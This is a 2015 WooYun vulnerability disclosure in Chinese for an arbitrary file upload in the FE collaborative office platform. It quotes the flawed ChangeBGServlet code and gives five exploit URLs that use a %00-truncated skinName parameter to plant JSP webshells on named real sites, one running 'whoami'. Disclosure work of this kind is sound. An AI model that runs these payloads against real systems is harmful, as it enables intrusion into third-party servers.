当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106383

漏洞标题:FE协作办公平台任意文件上传漏洞

相关厂商:珠海飞企软件有限公司

漏洞作者: sex is not show

提交时间:2015-04-07 18:04

修复时间:2015-07-09 18:50

公开时间:2015-07-09 18:50

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-07: 细节已通知厂商并且等待厂商处理中
2015-04-10: 厂商已经确认,细节仅向厂商公开
2015-04-13: 细节向第三方安全合作伙伴开放
2015-06-04: 细节向核心白帽子及相关领域专家公开
2015-06-14: 细节向普通白帽子公开
2015-06-24: 细节向实习白帽子公开
2015-07-09: 细节向公众公开

简要描述:

RT

详细说明:

协作平台现在的公司是珠海飞企软件有限公司了,管理能否联系上呢
程序名称:FE协作办公平台
漏洞类型:任意文件上传导致代码执行
漏洞文件:/servlet/ChangeBGServlet
漏洞参数:skinName
影响版本:FE5.5.2及以下版本
代码片段:

public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String savePath = getServletConfig().getServletContext().getRealPath("");
String themeDir = request.getParameter("skinName");//获取参数,未过滤处理
savePath = savePath + File.separator + "login" + File.separator + "theme" + File.separator + themeDir + File.separator + "images" + File.separator;//参数拼接到路径里
String name = "bgimage.jpg";
if (StringUtils.isNotEmpty(themeDir))
{
File pathDir = new File(savePath);
if (!pathDir.exists())
{
pathDir.mkdirs();
}
DiskFileItemFactory fac = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(fac);
upload.setHeaderEncoding("utf-8");
List fileList = null;
try
{
fileList = upload.parseRequest(request);
Iterator iter = fileList.iterator();
while (iter.hasNext())
{
FileItem item = (FileItem)iter.next();
if (!item.isFormField())
{
File saveFile = new File(savePath + name);//路径+文件名,java可用%00截断
if (saveFile.exists())
{
saveFile.delete();
}
item.write(saveFile);
}
}
}


本地构造好上传(构造的见测试代码处):
实例:
1.
http://oa.ztcz.cn/servlet/ChangeBGServlet?skinName=index.jsp%00
shell路径:/login/theme/index.jsp

1.jpg


2.
http://oa.peizheng.net.cn/servlet/ChangeBGServlet?skinName=index.jsp%00
shell路径:http://oa.peizheng.net.cn/login/theme/index.jsp

1.jpg


3.
http://oa.chinabed.com:9090/servlet/ChangeBGServlet?skinName=index.jsp%00
shell:http://oa.chinabed.com:9090/login/theme/index.jsp

1.jpg


4.
http://oa.hzuf.com:9090/servlet/ChangeBGServlet?skinName=index.jsp%00
shell:http://oa.hzuf.com:9090/login/theme/index.jsp?cmd=whoami

1.jpg


5.
http://fm.eyesoffice.com:9090/servlet/ChangeBGServlet?skinName=index.jsp%00
shell:http://fm.eyesoffice.com:9090/login/theme/index.jsp

1.jpg


漏洞证明:

如上

修复方案:

过滤参数

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-04-10 18:49

厂商回复:

CNVD未直接复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向网站管理单位(软件生产厂商)通报。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-07 21:49 | bitcoin ( 普通白帽子 | Rank:715 漏洞数:218 | 学习是最好的投资!)

    我来沙发

  2. 2015-04-12 00:32 | 零度咖啡 ( 路人 | Rank:3 漏洞数:1 | 小小小小白一个。。多多学习得。)

    你好我看到你文章想资讯个问题,X-Forwarded-For注入,但是是INSERT的。这个怎么做啊?SQLMAP检测不出来。

  3. 2015-04-12 15:48 | sex is not show 认证白帽子 ( 普通白帽子 | Rank:1495 漏洞数:233 | 这家伙真懒!)

    @零度咖啡 看看能不能找到显示的地方

  4. 2015-07-04 19:40 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    @sex is not show 性感不是用来炫耀的。